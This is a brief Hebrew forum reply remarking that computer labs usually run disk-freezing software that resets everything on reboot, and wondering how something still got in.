                              @רנדומלי בדרך כלל בחדרי מחשבים (אם לא בכולם)
                              יש תוכנות שמקפיאות את הדיסק קשיח ככה שבהפעלה מחדש הכל מתאפס
                              אז מעניין איך הוא חדר..

                              תגובה 1 תגובה אחרונה
                              0

                              • התחברות

                              • אין לך חשבון עדיין? הרשמה

                              • התחברו או הירשמו כדי לחפש.
                              • פוסט ראשון
                                פוסט אחרון
                              0
                              • חוקי הפורום
                              • פופולרי
                              • לא נפתר
                              • משתמשים
                              • חיפוש גוגל בפורום
                              • צור קשר